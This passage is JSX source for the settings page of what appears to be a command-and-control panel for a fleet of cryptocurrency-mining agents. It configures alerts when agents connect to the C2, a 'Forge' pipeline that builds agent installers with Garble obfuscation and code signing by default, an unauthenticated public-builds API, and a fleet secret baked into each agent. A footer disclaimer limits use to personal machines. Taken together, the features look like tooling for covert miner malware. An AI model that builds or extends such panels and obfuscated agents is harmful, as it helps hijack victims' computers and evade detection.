<input id="cfg-alert-offline" type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-alert-hashrate" className="label">Hashrate Drop (%)</label>
<input id="cfg-alert-hashrate" type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
</div>
<div className="form-group">
<label htmlFor="cfg-alert-reject" className="label">Rejection Rate (%)</label>
<input id="cfg-alert-reject" type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
</div>
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Alert Notifications <HelpTip field="set_alert_notifications" /></h2>
<p className="section-desc">
Telegram, optional webhook, and email for fleet events (operator pub/sub MITRE T1071.005 lite).
Set bot token + chat ID or webhook URL, choose what to send, then save.
</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-tg-token" className="label">Telegram Bot Token</label>
<input id="cfg-tg-token" type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
</div>
<div className="form-group">
<label htmlFor="cfg-tg-chat" className="label">Telegram Chat ID</label>
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
</div>
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional) <HelpTip field="set_webhook" /></label>
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
<p className="field-hint">JSON POST: event, title, message on connect, offline, and other enabled alerts.</p>
</div>
</div>
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
<a href="https://t.me/userinfobot" target="_blank" rel="noreferrer">@userinfobot</a> to copy your numeric ID,
or read it from <code>getUpdates</code> on the Bot API. Save Calibrate, then test.
</p>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap', marginBottom: '0.75rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={testingAlerts}
onClick={handleTestAlerts}
>
{testingAlerts ? 'Sending…' : 'Send test notification'}
</button>
{alertTestMsg && <span className="mono" style={{ fontSize: '0.85rem', color: '#9ee0ff' }}>{alertTestMsg}</span>}
</div>
<h3 className="font-display" style={{ fontSize: '1rem', margin: '1rem 0 0.5rem' }}>Notify me when</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_connect !== false}
onChange={(e) => updateField('alerts.notify_agent_connect', e.target.checked)} />
<span>New agent connects to C2 (first time seen)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_reconnect !== false}
onChange={(e) => updateField('alerts.notify_agent_reconnect', e.target.checked)} />
<span>Agent reconnects (back online or session takeover)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_offline !== false}
onChange={(e) => updateField('alerts.notify_agent_offline', e.target.checked)} />
<span>Agent offline past threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_hashrate_drop !== false}
onChange={(e) => updateField('alerts.notify_hashrate_drop', e.target.checked)} />
<span>Hashrate drops below threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_rejection_rate !== false}
onChange={(e) => updateField('alerts.notify_rejection_rate', e.target.checked)} />
<span>Share rejection rate spikes</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_build_complete !== false}
onChange={(e) => updateField('alerts.notify_build_complete', e.target.checked)} />
<span>Forge completes successfully</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
<span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
onChange={(e) => updateField('alerts.email_enabled', e.target.checked)} />
<span>Email alerts via SMTP</span>
</label>
</div>
{config.alerts.email_enabled && (
<>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-smtp-host" className="label">SMTP Host</label>
<input id="cfg-smtp-host" type="text" className="input" value={config.alerts.smtp_host || ''}
onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-smtp-port" className="label">SMTP Port</label>
<input id="cfg-smtp-port" type="number" className="input" value={config.alerts.smtp_port || 587}
onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-smtp-user" className="label">SMTP User</label>
<input id="cfg-smtp-user" type="text" className="input" value={config.alerts.smtp_user || ''}
onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-smtp-pass" className="label">SMTP Password</label>
<input id="cfg-smtp-pass" type="password" className="input" value={config.alerts.smtp_password || ''}
onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-email-to" className="label">Email To</label>
<input id="cfg-email-to" type="email" className="input" value={config.alerts.email_to || ''}
onChange={(e) => updateField('alerts.email_to', e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-email-from" className="label">Email From</label>
<input id="cfg-email-from" type="email" className="input" value={config.alerts.email_from || ''}
onChange={(e) => updateField('alerts.email_from', e.target.value)} />
</div>
</div>
</>
)}
</NeonCard>
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Emberwake / Public Builds</h2>
<p className="section-desc">
Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
<code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
enable all-builds mode below.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={s.public_builds_enabled ?? false}
onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
/>
<span>Expose all builds on public API (no login)</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
<input
id="cfg-public-latest-n"
type="number"
className="input"
min={1}
max={50}
value={s.public_builds_latest_n ?? 3}
onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
/>
<span className="form-hint">
When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
</span>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Forge Pipeline</h2>
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
</label>
<FieldHint field="obfuscate_default" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
</label>
<FieldHint field="sign_enabled" />
</div>
<div className="form-group">
<label htmlFor="cfg-sign-cert" className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
<input id="cfg-sign-cert" type="text" className="input mono" placeholder="AB CD EF ..."
value={s.sign_cert_thumbprint || ''}
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
<FieldHint field="sign_cert_thumbprint" />
</div>
<div className="form-group">
<label htmlFor="cfg-sign-tool" className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
<input id="cfg-sign-tool" type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
value={s.sign_tool_path || ''}
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-sign-ts" className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
<input id="cfg-sign-ts" type="text" className="input mono"
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
<FieldHint field="sign_timestamp_url" />
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-stats-ret" className="label">Stats Retention (hours)</label>
<input id="cfg-stats-ret" type="number" className="input" min={24} value={s.stats_retention_hours}
onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
</div>
<div className="form-group">
<label htmlFor="cfg-build-ret" className="label">Keep Builds (days)</label>
<input id="cfg-build-ret" type="number" className="input" min={1} value={s.build_retention_days}
onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
</div>
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-max-agents" className="label">Max Agents</label>
<input id="cfg-max-agents" type="number" className="input" min={1} value={s.max_agents}
onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
</div>
<div className="form-group">
<label htmlFor="cfg-max-build-mb" className="label">Max Build Size (MB)</label>
<input id="cfg-max-build-mb" type="number" className="input" min={10} value={s.max_build_size_mb}
onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
</div>
</div>
<div className="form-group">
<label htmlFor="cfg-ws-ping" className="label">WebSocket Ping (sec)</label>
<input id="cfg-ws-ping" type="number" className="input" min={10} value={s.websocket_ping_seconds}
onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Server Logging</h2>
<p className="section-desc">What this control server writes to its log.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.log_agent_connections}
onChange={(e) => updateField('server.log_agent_connections', e.target.checked)} />
<span>Log agent connect / disconnect</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.log_share_submissions}
onChange={(e) => updateField('server.log_share_submissions', e.target.checked)} />
<span>Log every share submission</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.log_pool_traffic}
onChange={(e) => updateField('server.log_pool_traffic', e.target.checked)} />
<span>Verbose pool traffic (debug)</span>
</label>
</div>
</NeonCard>
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Access Control</h2>
<p className="section-desc">
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-session-user" className="label">Browser session username</label>
<input id="cfg-session-user" type="text" className="input" placeholder="admin" value={sessionUser}
onChange={(e) => setSessionUser(e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-session-pass" className="label">Browser session password</label>
<input id="cfg-session-pass" type="password" className="input" value={sessionPass}
onChange={(e) => setSessionPass(e.target.value)} />
</div>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginBottom: '1rem' }}>
<button type="button" className="btn btn-primary" onClick={handleSessionLogin} disabled={!sessionUser || !sessionPass}>
Save session login
</button>
<button type="button" className="btn btn-outline" onClick={handleSessionLogout}>
Clear session
</button>
{getStoredAuth() && <span className="form-hint" style={{ alignSelf: 'center' }}>Session active</span>}
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-new-user" className="label">New Username</label>
<input id="cfg-new-user" type="text" className="input" placeholder="admin" value={newUser}
onChange={(e) => setNewUser(e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-new-pass" className="label">New Password</label>
<input id="cfg-new-pass" type="password" className="input" placeholder="••••••••" value={newPass}
onChange={(e) => setNewPass(e.target.value)} />
</div>
</div>
<button className="btn btn-outline" onClick={handleAddUser} disabled={!newUser || !newPass}>
Add User
</button>
{userMsg && (
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
)}
</NeonCard>
<FleetRuntimePanel />
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
Agents without the correct secret are rejected. Use rotation if the secret is compromised
it immediately kicks all connected agents; re-forge to reconnect.
</p>
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline"
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
onClick={handleRotateSecret}
disabled={rotatingSecret}
>
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
</button>
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
Kicks all agents. You must re-forge after rotating.
</span>
</div>
{rotateMsg && (
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
{rotateMsg}
</p>
)}
</NeonCard>
</div>
<div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
<FleetTasksPanel />
<AuditLogStrip limit={12} />
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}